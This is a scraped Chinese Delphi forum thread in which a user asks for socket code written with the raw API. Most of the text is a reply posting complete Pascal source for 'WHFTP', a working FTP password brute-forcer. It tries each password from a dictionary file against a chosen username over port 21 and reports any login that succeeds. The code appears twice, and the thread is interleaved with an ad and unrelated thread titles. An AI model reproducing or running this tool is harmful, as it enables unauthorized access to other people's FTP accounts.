请问谁有用API 写的SOCKET通讯程序?急,在线等..., 分不够再加,谢谢! 请问谁有用API 写的SOCKET通讯程序?急,在线等..., 分不够再加,谢谢!可以直接发到 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 急着用么 我以前写了点 是VC代码 要么...如果不急的话 我有空改成DELPHI的给你。。 这是别人的,你看看××××××××××××××××××××××××××××××××××××下面这个是我写的一个破ftp密码的工具,没有加多线程,不过是pascal的,在d5+win2k下运行通过!!希望对你有帮助!!!!program Project1;{$APPTYPE CONSOLE}uses SysUtils, winsock, windows;varusername,password,server,user,pass,receivestr:array[0..255] of char;passfile:textfile;passfilepath:string;wsa:twsadata;serversock:tsocket;addr:tsockaddr;res:integer;procedure usage;beginwriteln('WHFTP edit by [email protected] 25/05/2001');writeln('');writeln('usage:whftp.exe < SERVERIP > < USERNAME > < PASSFILE > [ OPTION ]');writeln(' [options] -s:show process.');writeln(' serverip: the remote ftp server"s ip address');writeln(' username: the user name you want to get');writeln(' passfile: the password file you used');writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic');writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic -s');end;beginif (paramcount <3) or (paramcount >4) then usage else begin strpcopy(user,'user '); strpcopy(server,paramstr(1)); strpcopy(username,paramstr(2)); strcat(user,username); strcat(user,#13#10); passfilepath:=paramstr(3); assignfile(passfile,passfilepath); wsastartup(makeword(2,2),wsa); serversock:=socket(AF_INET,SOCK_STREAM,0); addr.sin_family:=AF_INET; addr.sin_port:=htons(21); addr.sin_addr.S_addr:=inet_addr(server); res:=connect(serversock,addr,sizeof(addr)); if (res<>-1) then begin recv(serversock,receivestr,sizeof(receivestr),0); reset(passfile); writeln('NOW CRACKING,WAIT PLEASE!....................',#13#10); while (not eof(passfile)) do begin readln(passfile,password); strpcopy(pass,'pass '); strcat(pass,password); strcat(pass,#13#10); send(serversock,user,sizeof(user),0); recv(serversock,receivestr,sizeof(receivestr),0); send(serversock,pass,sizeof(pass),0); if (paramcount=4) and ((paramstr(4)='s') or (paramstr(4)='S')) then writeln('TRY...',username,'...',password); recv(serversock,receivestr,sizeof(receivestr),0); if ((strpos(receivestr,'230')<>nil) or (strpos(receivestr,'logged in')<>nil)) then begin writeln('==========^_^ Password found^_^==========',#13#10); writeln(' ',username,':',password,#13#10); writeln('========================================='); close(passfile); closesocket(serversock); wsacleanup; exit; end; end; close(passfile); writeln('==========^_^ Nothing found ^_^=========='); writeln('= [email protected]='); writeln('========================================='); end; wsacleanup; end;end. TO [email protected]已发源代码 TO: beyondtkl(大龙驹<暗黑系魔法师&&赏金猎人>) 改成D的,谢谢谢谢楼上各位 TO: oushengfen(逸帆) 邮件怎么没收到啊,能不能再发一次啊,谢谢 TO [email protected]已发源代码 谢谢,[email protected],邮件已收到2封,其他人没收到,不过还是谢谢各位了. 如何取得Fastreport中SubReport的实际高度? 请问如何在PDU串后添加“换行回车”符?谢谢回复 关于ACCESS+DELPHI的数据库连接问题 怎么会这样???在预览时有,可是却打印不出来?? 求助ADO问题,up有分。解决有高分。 关于窗口融合问题? 服务器端出错时,在客户端怎么进行错误处理? 怎样改名? Delphi中有没有提取日期和时间的函数,就像VB中的Date()一样?? 我中午准备吃数据模块。。。。。 我在TClientSocket控件的OnRead事件里面,使用了下面的代码? 想做一个c/s的打字系统,请大家给个思路
××××××××××××××××××××××××××××××××××××
下面这个是我写的一个破ftp密码的工具,没有加多线程,不过是pascal的,在d5+win2k
下运行通过!!希望对你有帮助!!!!program Project1;
{$APPTYPE CONSOLE}
uses
SysUtils,
winsock,
windows;var
username,password,server,user,pass,receivestr:array[0..255] of char;
passfile:textfile;
passfilepath:string;
wsa:twsadata;
serversock:tsocket;
addr:tsockaddr;
res:integer;procedure usage;
begin
writeln('WHFTP edit by [email protected] 25/05/2001');
writeln('');
writeln('usage:whftp.exe < SERVERIP > < USERNAME > < PASSFILE > [ OPTION ]');
writeln(' [options] -s:show process.');
writeln(' serverip: the remote ftp server"s ip address');
writeln(' username: the user name you want to get');
writeln(' passfile: the password file you used');
writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic');
writeln('example:whftp.exe 127.0.0.1 administrator chinese.dic -s');
end;begin
if (paramcount <3) or (paramcount >4) then usage
else
begin
strpcopy(user,'user ');
strpcopy(server,paramstr(1));
strpcopy(username,paramstr(2));
strcat(user,username);
strcat(user,#13#10);
passfilepath:=paramstr(3);
assignfile(passfile,passfilepath);
wsastartup(makeword(2,2),wsa);
serversock:=socket(AF_INET,SOCK_STREAM,0);
addr.sin_family:=AF_INET;
addr.sin_port:=htons(21);
addr.sin_addr.S_addr:=inet_addr(server);
res:=connect(serversock,addr,sizeof(addr));
if (res<>-1) then
begin
recv(serversock,receivestr,sizeof(receivestr),0);
reset(passfile);
writeln('NOW CRACKING,WAIT PLEASE!....................',#13#10);
while (not eof(passfile)) do
begin
readln(passfile,password);
strpcopy(pass,'pass ');
strcat(pass,password);
strcat(pass,#13#10);
send(serversock,user,sizeof(user),0);
recv(serversock,receivestr,sizeof(receivestr),0);
send(serversock,pass,sizeof(pass),0);
if (paramcount=4) and ((paramstr(4)='s') or (paramstr(4)='S')) then
writeln('TRY...',username,'...',password);
recv(serversock,receivestr,sizeof(receivestr),0);
if ((strpos(receivestr,'230')<>nil) or (strpos(receivestr,'logged in')<>nil)) then
begin
writeln('==========^_^ Password found^_^==========',#13#10);
writeln(' ',username,':',password,#13#10);
writeln('=========================================');
close(passfile);
closesocket(serversock);
wsacleanup;
exit;
end;
end;
close(passfile);
writeln('==========^_^ Nothing found ^_^==========');
writeln('= [email protected]=');
writeln('=========================================');
end;
wsacleanup;
end;
end.